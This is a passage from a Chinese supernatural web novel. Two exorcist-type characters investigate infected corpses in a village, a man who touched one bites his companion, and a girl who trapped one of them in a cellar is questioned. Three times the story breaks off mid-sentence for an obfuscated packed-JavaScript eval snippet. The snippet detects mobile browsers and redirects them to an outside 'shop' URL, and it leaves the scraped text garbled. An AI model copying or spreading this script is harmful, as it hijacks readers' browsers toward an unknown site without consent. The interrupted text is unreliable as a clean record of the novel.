因为有人带头,费子平也忍着害怕一铲一铲往外舀土,在两个人共同努力下,终于是挖出了土堆里的东西。 费子平吓得往后退了几步:“这地方还土葬啊?” 坟里露出来的是很明显的人体形状,已经有很多地方腐烂了,散发出一股恶臭。 杭石颤抖着:“我我我,我也不知道啊,现在不是不流行土葬了吗?这个尸体又是什么?还有棺材呢?这地方居然没棺材。” 一阵风突然吹过,田里的高粱突然动了动。 杭石僵着脖子,用手拍了拍费子平:“子平,你看,那地里是不是有东西动了动?” 费子平探出脑袋,眼睛却是闭着的:“哪呢?” 突然,离他们俩最近的高粱一下子就折断了。 “跑!鬼啊!”杭石转头拉着费子平就跑,连滚带爬地往村子里赶。 前面却突然出现了一个身影,吓得两个人又尖叫了一声。 “不要说话。”宜姜拦在两个人回去的必经之路上。 两个人缩成一团,颤颤巍巍地相互抱着,杭石眼睛尖一点,看到宜姜在地上的影子大喊:“有影子!是真人!!是人!!!” 宜姜抬起下巴朝后面点了点。 梅询摸着脑袋从地里爬起来,刚刚一下子没站稳摔了一下,连带着把高粱都压倒了,没等他反应过来,外面那两人就窜出去了。 “别误会,我们也是来挖坟的。” 杭石眯着眼睛看了梅询半天,终于是认出来这个是白天见过的梅询。 “是你啊,梅……梅询小兄弟。”杭石瞬间缓了下来,拉着费子平向一前一后,向拦着他们的两个人礼貌问好。 宜姜注意着周围,慢慢往这里走过来。 杭石却突然拉着费子平往宜姜边上冲出去,这两个人肯定埋伏在这里很久了,就是为了看看有谁过来,没准就是把他们当作是探路石。 但梅询快跑了几步,没几下就抓住了杭石他们,抓得死死的,两个人怎么挣脱就是挣脱不了。 宜姜走了过来,低下头看着两个人,歪了歪头道:“别害怕,我不会杀人灭口的。” 这话更让人害怕了,杭石忍不住往后躲了躲。 “你带绳子了吗?”宜姜问了问梅询。 “带了,和铲子一起的位置。” 于是,杭石和费子平就这样被宜姜用绳子绑得紧紧的。 梅询仔细看了看那个被挖好的坟堆,是个被一层薄膜裹住的死人尸体,也许是杭石他们两个人挖的时候不小心把薄膜挖破了,那股味道才散出来。 宜姜拿着杭石的铲子扒拉了一下那具惨不忍睹的尸体,用手电筒全方位照了一遍。 这具尸体,就像村长说的那样,有一些地方是残缺的,但时间过于长了,那些残缺的地方已经看不出来是不是被野兽咬过的了。 为了看得更仔细些,宜姜蹲了下来,继续扒拉着,梅询检查了一圈周围,确认没有人黄雀在后。 “有发现什么吗?”梅询轻声问。 宜姜把铲子往他那一塞:“你看看。” 梅询同样扒拉了一下地上那堆东西:“不像是被什么野兽咬的,也没有什么妖气,有点奇怪哦。” 的确很奇怪,这具尸体是被什么东西弄成这样的?而且还被这样潦草地下葬? “能看到那些村长说的斑点吗?”宜姜站了起来,拍了拍自己的手,问道。 梅询也紧跟着放下手里的铲子:“没有,腐化太厉害了,很多地方都看不清了。” “埋起来吧。” 梅询疑惑地看向宜姜。 “看不出什么,就恢复原样,至少别被人看出来这个坟被人挖过。” 趁着梅询在一铲一铲堆土,宜姜走到那两个被绳子绑得死死的人面前,弯下腰取下了两个人嘴里的东西。 “你们怎么想到来这挖坟的?” 杭石深呼吸了好几下,看着面前的这个陌生女人,识时务者为俊杰地回答:“下午去问了村子里的人,有个小姑娘说之前那些人下葬的时候除了亲属和村长都没人在现场,我们就想着也许是那个尸体有问题。” 宜姜点点头,接着问道:“你们是从哪听到这个任务的?” 费子平在旁边出声:“有消息贩子在到处卖这个消息。” 宜姜站了起来:“重新介绍一下,我是鬼面姜家人,所以今晚什么该说什么不该说,知道吧?” 杭石和费子平像是被这个消息吓傻了,愣了好一会儿才拼命点头:“我们知道,我们今晚什么都没见到,我们就是出来散了个步。” “你们之前该做什么就做什么,该接任务就接,该找东西就找,还有,别把今晚的事说出去。” “当然当然,姜小姐,我们绝对守口如瓶。” 听到这话,宜姜给他俩解了绳子:“走吧。” 杭石和费子平迟钝地看向宜姜,直到宜姜看了他们一眼,两个人才开始往村子狂奔。 跑到看都看不到后面那两个人了,杭石和费子平才松了一口气,又捡回一条命。 杭石直接席地而坐,大口大口呼吸着:“还好我们运气好,这次的姜家人居然那么好说话。” 费子平却一个字都没说。 杭石继续说:“子平,要不我们放弃这一单得了,毕竟现在姜家人都来了,子平?子平!” 察觉到费子平奇怪的沉默,杭石瞬间站了起来,他的手刚碰到费子平,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470809|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒就不可置信地把视线落到了自己的肩膀上,费子平直接死死咬住了他的肩膀。 “子平,你在干什么!”杭石一把推开他,用手捂住了自己的肩膀,那里已经见血了。 费子平却不说话,反而执着地扑上去咬杭石,一次又一次。 杭石刚开始能推开他,但后来力气一点一点减弱,费子平却速度一次比一次快。 终于,费子平再次咬上了杭石,这一次,是杭石的腿。 杭石哀嚎了一声,疼,好疼,他拼命敲打着费子平,费子平死活不松开,直到硬生生从杭石腿上撕下一块肉才站起来。 杭石整个人像从水里捞出来一样,疼得汗水直流,费子平疯了,他边想着边死命往外面爬过去。 之前他为了安全,带着费子平都是往偏僻的地方跑,现在倒好,反而变成了他的催命符。 没爬几步,杭石就又被费子平咬了上来。 这时,有一个身影从杭石视线里闪过,杭石高喊:“救命!救命!!救救我!” 那个身影停都没停,直截了当地走了。 杭石绝望地往后看了一眼费子平,费子平又是一大口下去,他知道了,他知道那具尸体上的残缺是哪来的了…… ****** 宜姜放走两个人之后,又回来看梅询堆坟。 梅询慢悠悠地一铲一铲把土盖回去,问道:“就这么把人放走了?” “同行而已,又不会说些什么,都是为钱奔波的人。” 梅询盖上最后一铲土,把周围压压紧实,这才继续说道:“那我们还挖接下来的几个坟吗?” 宜姜看了看那几个孤零零的坟,想了一会儿回答:“挖吧,总是要多参考几个才能找到共同点。” 梅询把铲子拿上,跟着宜姜走到下一个坟堆,是一个和之前差不多的坟堆,上面照例有几张黄色符咒。 宜姜把符咒扒拉出来放在一边,这才指挥梅询把土扒开。 梅询边小心翼翼地扒土,边找话题和宜姜说着话:“下次择日的时候,你是代表两家人去吗?” “没想好呢。” 姜奚从远远地就看见了在土堆的两个人,除了桃花,另一个人是谁? 她加快了过来的步伐,宜姜两个人听到动静转过头,夜色里只能看到姜奚从的身形,脸也看不清楚。 梅询一把拉过宜姜,自己挡在前面。 宜姜迟疑了一会,喊了一句:“姜奚从?” 姜奚从无视了梅询,恭恭敬敬地回答宜姜:“是我,桃花,分部的事情已经解决了。” 宜姜从梅询身后出来:“行。” 梅询这个时候也认出来了这个女人就是之前跟着宜姜的姜家人,他整个人僵硬起来。 宜姜指了指梅询,对姜奚从说道:“出来认识的,梅询。” 姜奚从对梅询微微颔首,却也没说什么话,她继续对着宜姜说:“桃花,不早了,我们先回去吧。” 宜姜看了看才扒到一半的坟堆,姜奚从察觉了,继续说道:“我找人过来挖就行,桃花,您该休息了。” 宜姜妥协:“好好好,梅询你也先回去吧。” 姜奚从看着宜姜走的方向,拦住了她:“桃花,那有几个人见血了,我们换个方向回去吧。” “你说什么?” 姜奚从又说了一遍:“刚刚路过了一个地方,有一胖一瘦两个人吧,互相在撕咬着。” 宜姜一下子就想到了之前那两个人,她毫不犹豫地跑向姜奚从手指的那个地方。 “桃花!” “宜……桃花!怎么了?” 18. 第五章 幸好宜姜他们来得及时,费子平还没把杭石咬死,杭石被救下来的时候惊魂未定,心里的震惊远远大过身上的疼痛。 梅询皱皱巴巴一张脸,看着医生处理杭石身上的伤口,被人咬需要注射狂犬疫苗吗? 想到这,梅询拿起手机搜了搜,跳出来一条“人是杂食动物,被人深度咬伤之后特别容易感染,需要打狂犬疫苗”,看来是要打的,医生也在这时候拿出几支针管。 梅询看了看那个针管的长度,别开了脸。 费子平已经被控制起来了,整个人被捆成粽子,嘴里也塞了布团,还在一直挣扎蠕动着。 宜姜坐在一旁打了个哈欠,现在已经凌晨三点了,她等医生处理完杭石的伤,才开口问:“怎么样?” “还好,不是什么致命伤,就是需要静养,不然伤口容易开裂。” 医生也是个见过大世面的,在姜家任职,比这严重又奇形怪状的伤也见了不少了,相比之下,这个杭石的伤都算不上什么。 宜姜点点头:“那个费子平你们有看出什么吗?” 听到这个,医生倒是神色正经起来:“这个倒是没看出什么,感觉像是什么病菌感染,或者是被什么鬼上身了?” 宜姜摇摇头:“他身上可没有鬼,干净得很。” 梅询也在一旁补充:“他身上也没有妖,但是气息很浑浊。” 气息浑浊? 宜姜转过头看向他,梅询解释:“我们判断有没有妖,是从一个人的气息来看的,我们能够辨别出妖的味道,这个费子平身上,没有妖的味道,但是有其他东西。” 姜奚从从外面走进来,之前救下杭石之后,几个人就直接回到这房子里了,刚好因为之前姜奚从在门上画过鬼面图腾,也没几个人敢进来住,除了,这位梅询。 姜奚从不留痕迹地看了梅询一眼,还是凑到宜姜身边,用强硬的声音说道:“桃花,真的该休息了。” 宜姜摸了摸自己的眉心,又疼起来了,她面色不改地和梅询说:“也不早了,我们先休息吧,明天再继续。” 梅询愣了几秒,点点头,看着跟着姜奚从要上楼的宜姜,张了张嘴还是闭上了。 宜姜一进房间,后面的医生就赶紧上来给她做检查。 姜奚从在包里找了半天找出一瓶药:“桃花,这是带回来的药。” 医生给宜姜检查了一遍,把姜奚从手里的药拿起来闻了闻,又仔细看了看,开口:“这药太烈了,按照现在桃花小姐的伤势,不需要这样的药。” “什么意思?”宜姜轻轻揉了揉眉心问。 “您现在的伤势已经好很多了,温和一点的药就行,不过还是挺奇怪的,桃花小姐您最近是用了什么别的药吗?” “没有,我这段时间除了吃你们给的药,其他没有了。” “那就奇怪了。不过,也算是好事,愈合的速度会好一点。”医生把药瓶放下,“明天我再找瓶温和药效的来,接下来就换种药吃。” 同一时间,一楼梅询的房间,梅询依旧皱着一张脸,他是在晚上遇到宜姜的时候才发现宜姜身上有伤的,也是因为发现了这个,他在田里蹲着的时候才不小心摔着了。 再加上姜奚从一直在和宜姜说要她可以回去睡觉了,宜姜这次受的伤肯定比他想象的还要严重一点。 梅询在自己行李里挖了半天,他出门的时候,兰成弘有给过他几个药瓶,说是受严重伤的时候服用。 但这几瓶东西里,哪个是哪个来着? 兰成弘在凌晨三点多再次收到了梅询的电话:“你那出事了?” “没。就是问问你出门前给我那几个药瓶有什么功效。” “现在几点了你看看!那白色的药瓶是用来平和你身上的气息翻滚的,你之前没吃过?上一代妖梅应该有和你说过的吧,你身上的妖可不一定总是平静着。其他就是一些受重伤可以吃的药了。” 得到了一个奇怪的答案,梅询皱了皱眉头,梅和初没和他提到过,他也从来没有吃过这种平复心情的药。 “行,我知道了。”梅询把疑问放回了心里。 被莫名其妙吵醒又被莫名其妙挂断电话之后,兰成弘也睡不着了,他是真担心妖梅就断在这一代。 但是兰成弘手上的事情还没处理完,妖梅本人又不想被捉妖师其他人跟着,只能他自己亲自上。 啊啊啊啊啊,都怪当初猜拳猜输了,一切都从去龙山堵妖梅的那个山君拜帖开始,兰成弘气得直砸床。 不管了,先睡会,有什么事起来再说。 ****** 第二天一早,梅询就爬起来捣鼓自己的穿搭,但上身试了很多套都还是不满意,最终还是闭眼选择了一套。 上次见宜姜的遭遇实在过于惨痛,乱七八糟没来得及剪的头发,穿得都要发白的衣服,以及没钱的窘迫感。 等等,自己现在花的钱是不是还是之前宜姜给转的钱款来着,梅询顿住了,会不会让人觉得自己见钱眼开,想到这,他开始皱起眉头,但宜姜不会觉得就行。 全弄完之后,梅询在聊天框里字字斟酌地发了一条消息出去:“你起来了吗?” 对方并没有在输入中。 梅询算了算时间,就算当时三点多睡了,现在也不足七个小时,宜姜也许还是在休息。 于是,他出门去昨夜安置杭石和费子平的房间,费子平还是那个样子,杭石却直直地盯着天花板,不知道在想些什么。 察觉到有人进来,杭石转过头,语气淡漠:“是你啊,梅兄弟。” 梅询找了个凳子坐下:“你现在怎么样?昨天发生了什么你还记得清楚细节吗?” 杭石深深地叹了一口气:“我没怎么,昨夜就和我之前说过的一样,子平突然就开始扑过来咬我肩膀,接着他就疯了。” 说到这,杭石担忧地抬起头:“子平他还能恢复正常吗?” 梅询摇摇头:“不知道。” “你知道吗?我们本来打算做完这一单就收手了,毕竟你也知道,我们这些人都是朝不保夕。这一单刚好酬金很多,足够我们活剩下的一辈子了,结果……” 梅询垂下眼,不知道该怎么安慰他,只好干巴巴地说了一句:“会好的。” 杭石强烈地喘着气:“你别安慰我了,我自己知道,这一遭就是翻车了。” 房间里安静了片刻,梅询突然想到了什么,开口问道:“你们怎么晚上也去挖坟?” “有个小女孩说的。” “谁?” 杭石努力回忆着:“一个十几岁的,头发是个双麻花辫,颜色偏棕色,说话的时候会一直盯着你的眼睛看。” 听描述,有点像是齐明美。 梅询追问道:“她原话怎么说的?” “她说,那几家人可神秘了,下葬都只有村长一个外人在。” 梅询想了想:“她亲眼看到了?” 杭石摇摇头:“不知道,她只和我说了这么多。” 得到了一些线索,梅询低头看了看手机,也没任何消息发过来,于是他打算先出门看看。 结果才刚走出房间,姜奚从就冒了出来,面无表情地从梅询面前走过去。 “桃花,她怎么样了?”梅询突然开口拦住了她。 姜奚从斜着瞥了他一眼,什么话都没说,继续出门了。 梅询在原地略带疑惑地“啊”了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470810|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么鬼啊,姜家人的坏脾气果然和传闻中的一样,当然,宜姜除外。 不过,姜奚从都下来了,那宜姜应该也快醒了,还是在楼下等等吧,梅询很愉快地做出了这个决定。 宜姜醒过来看时间的时候第一眼就看到了一大堆消息,一个一个回复之后,最后只剩下了梅询发的。 她没着急回,只是先起来把药吃了。 等宜姜下楼的时候,楼下没人,她也像梅询一样走进了杭石休息的房间。 “你身体怎么样?” 杭石艰难地再次抬头,见到是昨夜救了他的姜家人,努力扯出一个笑脸说:“姜小姐,我还好。只是,费子平他还有救吗?” 宜姜根本不能给出确定的回答,杭石看见宜姜的表情也就知道了答案。 “你再想想,你们在坟堆发生了什么事情,当时我们的距离还是比较远的,加上晚上太暗了,也看不清什么东西。” 杭石皱着眉头思考着,好一会儿之后突然瞪大了眼睛,他激动了起来:“当时!当时子平不小心碰了那个尸体一下,他还和我说好恶心。” 那个已经看不出样子的尸体? 杭石继续说:“姜小姐,那些尸体上不规则的缺口也许就是我现在身上这些伤,那个村长在骗人!” 宜姜低头把事情串了串,现在的源头追溯到了那几具尸体,突然,她想到了什么,抬起头给姜奚从打了个电话。 “昨天晚上,你带来的人去挖坟了没有?” 姜奚从低声问了问旁边的人,这些都是她从分部带来的,问到之后她回答:“还没有,昨天晚上都在折腾桃花您需要的药。” 没有就好,没有就好,宜姜放下了心:“那几个坟堆,先别挖了,过段时间再说。” 挂了电话之后,宜姜又去看了看被五花大绑的费子平,他的脸上已经出现一道又一道黑纹了,随着他的不断扭动越加狰狞。 宜姜掐住费子平的脸,费力地扒拉开他的眼睛,还是正常的瞳孔,她又仔细检查了一遍,费子平身上还是和昨夜姜家人检查时候一样,没什么特别的。 那就很让人困惑了,这个能控制费子平行为的东西,难不成在他脑子里? 宜姜松开手,再度坐回去,杭石大气不敢喘,生怕打扰到自己的救命恩人思考。 “你们是从哪知道的这个任务?” 是一个和之前梅询问过的一模一样的问题,杭石也用同样的话回答了,最后加上了一句“梅小哥也觉得这个地方有点奇怪”。 梅询? 宜姜这个时候才发觉梅询居然不在这,她追问:“梅询什么时候来的?” “一个多小时前?”杭石看了看墙上的时钟,“刚刚在您进来没多久前,我抬头还能看到他在大厅坐着呢。” 宜姜用手机给梅询回了一句“我下来了,在杭石房间”。 对方沉默。 也许梅询有事情去忙了,宜姜并没有很担心,妖梅在捉妖师一脉里算是特别的一支了,再怎么样也有傍身的本事在。 想是这样想,但久久没等到梅询消息的回复,宜姜还是忍不住敲了敲他的房间门,里面似乎没人。 宜姜翻了窗户进去看,房间里的确没人,只有个大箱子,里面放着一袋一袋装好的衣服,浴室的台子上还放着一些日常用品,其他并没有什么特殊的地方。 起码人不是被绑架的……吧? 宜姜皱着眉头,一脸疑惑地翻了出去,再次来到了杭石这:“之前梅询和你聊天说了些什么?” 杭石很困惑:“没了,姜小姐,我和梅询讲的都是我给您讲过的东西,其他并没有什么。” 那就奇怪了,这人是上哪去了? 19. 第六章 被宜姜疑惑不知道去哪的人正无语地在地下室看着被锁上还被拿走梯子的入口发呆。 时间回到不久前,已经在楼下等了一个小时的梅询突然想到了什么,往楼上看了看还是出门了。 他想先去找找那个引导杭石他们去坟堆的齐明美,毕竟当初他才刚到西瓜地没多久,齐明美就找来了。 梅询很快就在村口找到了人,她正在那和阿绅哥说话,远远看见有人来了,两个人动作僵硬了几秒又聊了起来。 齐明美假装不经意地转过头:“诶,是梅大师,你是要找阿绅哥去镇上吗?” “不是。”梅询言简意赅,“我找你。” 齐明美惊讶了一下,但还是和阿绅哥说了再见,领着梅询往自己家边走边说:“大师,你找我什么事?” “你之前说,那几个人下葬特别奇怪,是怎么个奇怪法?” “你说这个啊。”齐明美的神色放松了下来,左右看了看,“大师,到我家里我和你说吧,这里现在有人,被听到了不好。” “行。” 走了一段路,两个人终于是走到了齐明美家,她拎了茶过来给客人梅询倒了一杯茶,梅询看了看她,拿起杯子,却只浅浅碰了一下杯口就放下了。 齐明美笑着坐在对面讲起了自己觉得奇怪的地方:“大师,当时下葬的时候,各家都是各下各的,而且还没有拉去火葬场,全是土葬。我们这边,一般都是骨灰葬了,政府提倡的嘛……” 梅询仔细盯着齐明美,顺着她的视线看到了自己刚刚喝过的茶杯,了然她在看什么之后,他眨了眨眼,摇了摇头,接着“Duang”的一声砸到了桌子上。 齐明美深吸了一口气,摇了摇梅询的肩,嘴巴里还小声喊着:“梅大师?梅大师?” 确认梅询真的晕了过去,齐明美走到家里楼梯下方的空地处,在地上摸了一通拉起了一个板子,接着她拖着梅询一路走到这里。 这个地下室高度约两米五,齐明美往下看了又看,出去拿了床厚实的棉被扔了下去,这才把昏迷的梅询扔到棉被上。 等她把梯子撤走关上入口的板子,梅询瞬间就睁开了眼睛,自从杭石的事情一发生,他对这个村子的警惕性就拉到了最高,那杯茶他连杯口都没敢碰,都是借位。 地下室一片漆黑,梅询掏出了手机打开手电筒,正想发个消息出去,这个地方信号却完全被屏蔽了,手机完全联系不上外界。 本来是想看看齐明美要做些什么的,结果现在把自己被困在了这里,梅询尝试着从里面打开这个板子,但这个锁却设置得很巧妙,只能从外面打开。 梅询踮起脚尖试图把手摸到板子的地方,想直接暴力破坏,但又害怕齐明美就在外面等着,他迟迟不敢动手。 整个空间一片寂静,仿佛把外界都隔绝了。 梅询打算等个半小时再把门打开出去,他又坐回了棉被处,别说,这被子还挺舒服的。 只是,他现在回想一下,实在是不明白齐明美困住她的理由啊,他问的问题应该也是正常的,毕竟杭石他们那的消息甚至都是齐明美自己说的。 齐明美觉得梅询知道得太快了? 这也不对啊,要是快一点能解决事情,对这个村子来说才算是更好的吧。 梅询各种可能性都想了一遍,还是觉得他理解不了齐明美的操作,不过,他就是因为理解不了所以才想着入局看看这人究竟是想干什么的。 时间一分一秒地过去,梅询看了看手机,也不知道这个点宜姜醒了没有,按照桃花在姜家的重要程度来看,姜家应该对宜姜的身体状况很紧张,看昨天晚上那个姜奚从的表现就知道了。 想到这,梅询摸了摸自己口袋里的那个药瓶,这个东西,感觉都没有要送给宜姜的必要,毕竟姜家给桃花用的药肯定是最好的。 头顶上的木板子突然一下子被掀开,正在沉迷思考的梅询慢了半拍才“砰”的一下栽倒在床上,紧紧闭上眼睛装晕。 “梅询?”熟悉的声音从上面传来。 梅询瞬间爬了起来,看向上方,宜姜蹲在那,一只手拿着木板的锁,歪着头盯着下面。 梅询尴尬一笑:“我以为是齐明美来着。你怎么来了?伤好点了吗?” 宜姜疑惑地问:“你怎么又知道我受伤了?” 没等梅询说出个所以然来,宜姜先往下伸了伸手,示意他拉住上来。 梅询舔了舔嘴唇,把手伸上去握住了宜姜的手,她的手纤细瘦长又有力量感,梅询却根本不敢用力,只是浅浅地拉住她。 自然而然,拉了半天,梅询还在下面。 宜姜叹了一口气:“你拉紧点,出来还有事情要做呢。” 都这样说了,梅询只好用力握住,顺着宜姜的力往上一跳,另一只手抓住了开口的边,硬撑着把自己搞了上来。 上来之后,宜姜就松开了手,梅询紧张地摸了摸自己的手开始观察四周。 上面就宜姜一个人,以及一个被五花大绑还被塞住嘴的齐明美,看见梅询出来了,齐明美拼命摇头,嘴里呜咽地说着什么。 “你一个人过来的?”梅询惊讶地问。 宜姜把木板子重新盖上:“没错,我一个人来的,人太多目标也大。你是被这个谁……齐明美是吧,骗来的?” 梅询笑了笑:“也算是,我以为她知道什么线索来着,就想入局看看。你的伤怎么样了?” “你怎么知道我有伤的?”宜姜再次很困惑地问。 “在田里的时候,我稍稍微微感受到你气息不稳,结合昨晚姜奚从的表现来看,你可能就是身体受伤了。对了,我这有捉妖师那比较有用的药丸,愈合伤口快一些,还能平心静气。” 宜姜本来想拒绝,但梅询接着说道:“也算是我的一点心意,如果,你觉得不好的话,那就算了,还是姜家的医生和药比较靠谱一点。” 说这话的时候,梅询微微垂眸,那双漂亮的眼睛只露出一点点,整个表情可怜又无辜,宜姜还是接过了他手里的药瓶。 “那就谢谢你了,我到时候问问医生看药效冲不冲突。” “好。”看见宜姜把东西收下,梅询肉眼可见地欢快起来,“对了,你怎么发现我被关着的?” 宜姜指了指一旁的齐明美:“她来一楼和我们说,你退出这次的任务了。” 梅询皱着一张脸转过去看齐明美,他更不理解她的行为了。 宜姜把瓶子塞进口袋,走到齐明美面前,把她嘴里的布团拿了出来,齐明美深呼吸了好几次才抬头:“你们俩居然认识?” “认识。”宜姜回答,又问道,“你绑架梅询要干什么?” “我是在救他!只要不去沾染那个东西就不会死掉。” 梅询走到宜姜旁边:“什么东西?” 齐明美看着梅询,眉头紧锁,用一种陌生的眼光看了他一眼,恹恹地回答:“不知道是什么,反正谁沾上谁死。” 齐明美一直都喜欢高冷一点的帅气男生,这么多年没遇上过,好不容易来了个梅大师,她可是拼着被村里人发现的风险救下人的,结果发现人家就是单方面的只对她不说话而已。 宜姜没有这样的少女心事,她沉默了一会接着问:“那个会让人死掉的东西是什么时候在你们村子蔓延开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470811|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的?你们为什么不走?” “大概也就八九月份吧,和村长说的差不多。走?我们祖祖辈辈都生活在这里,不到最后一刻没人甘心走的。” 梅询仔细想了想,也许就是因为这个会沾染人的东西,村长才说一半留一半的,他害怕把真实的事情说出来就没人来了,但这也不对啊。 梅询问道:“你们村长为什么不说?说了可能会没人接,但也有很大可能来的人才更加厉害一点。” “那我就不知道了。我该说的都说了,能放了我吗?” “那可不行,小姑娘。”宜姜笑了笑,“我们这刚好有个人你得见见呢。” 梅询了然,他问:“我们怎么把人带回去?” 宜姜重新把布团塞进齐明美嘴里,拍了拍手说:“过会儿姜奚从会把人带回去的,我们先走吧。” 两个人假装什么事情都没有发生,大摇大摆地走了回去。 在路上,梅询再次说:“我那个药瓶,如果没用的话你直接扔了就行。” 宜姜把药瓶拿出来摸了摸:“扔掉干嘛,毕竟也是药啊,不能用的话我放起来没准下次就有用了。” “那还是别让它以后都有用了。”梅询认真回答,“我希望你不要受伤。” “还是谢谢你。” 说着说着,两个人突然整齐划一地把头转向了一个地方,是那个从湖南跟着他们出来的东西。 但这次只出现了几秒钟就消失了。 宜姜面色不变地继续走着。 梅询则在一旁开口:“你做完这个单子还有其他任务要做吗?” 宜姜仔细想了想,回答:“目前没有什么,大概是要准备山君宴的东西了吧。” “那么早就要准备贺礼了吗?日子不是还没选好哪一天?” 宜姜把挡眼睛的碎发理了理:“三合吉日在日历上就那几天,就算和我们现在日历算的不一样,也不会有太多出入的,我们一般都是提前准备礼物,不然怕到时候来不及。” 梅询点点头,又知道了一个新惯例。 “贺礼是需要什么样子的?” “看每一家自己准备。” “那你岂不是要准备两份?”梅询偷偷摸摸地看了一眼四周轻声说。 “也不一定,姜家这有人替我出去找。” “那到时候山君宴姜家也替你出人?” 宜姜听到这,停下了脚步,转过身说:“那就是姜家自己的事情了。” 有点说的超过分寸了,梅询抱歉地笑笑,迅速转移了一个话题:“你接的任务都会受伤吗?上次我见你的时候你不是刚伤好吗?” 宜姜摸了摸自己的手臂,上次只能看出是皮外伤。 她回答:“任务有难有易,和你们捉妖师的一样。这次只是旧伤复发。” 很快,就到目的地了。 梅询推开门进去,就看到姜奚从已经在了,她脚边坐着一个齐明美。 姜奚从迎了上来:“桃花,人带来了。” 宜姜把地上的齐明美拉了起来,拉着她进了杭石的房间,随后宜姜指了指在地上挣扎的费子平问:“那些死掉的人就是这样的?” 齐明美顺着宜姜的手看过去,看到费子平的一刹那就整个人抖了一下。 “是,就是这样的。”齐明美想到了些什么,立马别开了眼,“他们去挖坟了?” 宜姜盯着她的眼睛:“不是你指引他们去挖坟的吗?” “冤枉啊,我可没有。我只是说那几个人下葬很奇怪,其他我什么暗示都没给,再说了,这句话我和其他人都说了,其他人可都没去坟堆里挖。” 20. 第七章 “桃花。”梅询斟酌了一下,突然开口,“我们要不出去说?” 宜姜看了屋子剩下的人一眼,二话不说和梅询出去了。 “村长这样做的目的究竟是什么呢?” 梅询把自己的疑惑问了出来,宜姜沉思了几秒,怎么说呢,她其实当时听村长讲的时候也发现了这个问题。 按照现在的局势来看,村长留着这些会传染致死的尸体在村子里,而且就埋在村子边的田里,很难说他是为了解决村子里的怪事,但他又花了那么多钱发布了这个任务。 梅询小心翼翼地等着宜姜的回答。 “也许,这个村子的确就像你之前说的,那片田里有大古怪。” 两个人在外面聊了一会,又重新回到了杭石的屋子里,宜姜再次把齐明美嘴里的布团拿了出来。 “你是不是想离开这个村子?”梅询开口。 齐明美瞬间抬头:“你听到我和阿绅哥的话了?” 梅询点点头,当时他在村口找到齐明美的时候,断断续续也听到了一点她和阿绅哥的聊天内容,再结合一下这个会沾染到身上导致人死掉的现实,他很容易就能联想到——齐明美要逃离这座村子。 有想要的就很容易谈下去了,宜姜毫不费力地就和齐明美达成了合作,等这里的事情结束了,她就让姜家人带齐明美去外省。 “所以,你一直说沾染上那些东西会死,是怎么死的?”宜姜开始问。 齐明美揉了揉自己的手腕,之前绑得太紧,感觉血都堵住了,她思考了一会说:“准确来说,我们一开始以为这些人是吃毒蘑菇中毒了。” 在齐明美眼里,事情是从一个再普通不过的下午开始的。 八九月正是夏季,大部分村子里的人除了要打理田地的基本都不出门,都在家里扇电扇开空调。 而这一天,有几个人约定去田里拔拔杂草,回来的时候他们还拿来了一捧蘑菇,说是路上有人路过给的,这话一听就是场面话,指定是这些人自己去哪偷来的,但大家也不说破。 结果吃完蘑菇到晚上,这些人身上都出现了一个又一个灰斑,不痛不痒的,只是影响美观,大家互相交流了一下,都觉得是下午吃的蘑菇有问题,但又不会死,这件事他们也没放在心上。 结果,到半夜的时候,其中有两个人突然开始互相咬人。 听到这,宜姜和梅询对视了一眼,床上听着的杭石也一下子振奋起来,这和费子平现在的状况一样。 齐明美继续讲下去。 咬人之后就一发不可收拾,那几家刚好就住在一起,几乎下午吃过蘑菇的人都开始互相撕咬,当时的场面极度像丧尸厮杀,最后是村长从自己家里拿出私藏的土枪对着那几个人的心脏打了好几枪才稳定下来。 当时村子里所有人都惊魂未定,但看着那中了子弹几乎残缺的尸体,所有人都选择瞒下了这件事。 到了第二天,那些处理尸体的人身上也出现了那些黑斑,到了半夜,又是一场厮杀。 最终,村长苦着一张脸出去了一趟,再回来,就进行了一场很诡异的土葬仪式。 仪式过后,大家还是人心惶惶的,而且,村子里有不少人身上也出现了那个黑斑,但是很淡很淡,不仔细看根本就看不出来。 接着,村长就把道上这些人请来了。 宜姜听完,整个人陷入了沉思。 梅询算了算死亡人数,问了问齐明美:“那几个路边的是最后一批死的?” 齐明美点点头,补充道:“前几个我也不知道村长把尸体弄到哪里去了。” 宜姜开口:“你身上长了那些东西没有?” 齐明美摇摇头,许是怕他们不相信,她赶紧把袖子往上拉:“我没有,就是因为我没有,我才想着要逃离这里。我知道的就这些了。” 梅询却依旧用怀疑的目光看着她:“村子里的人不让你们离开这?” 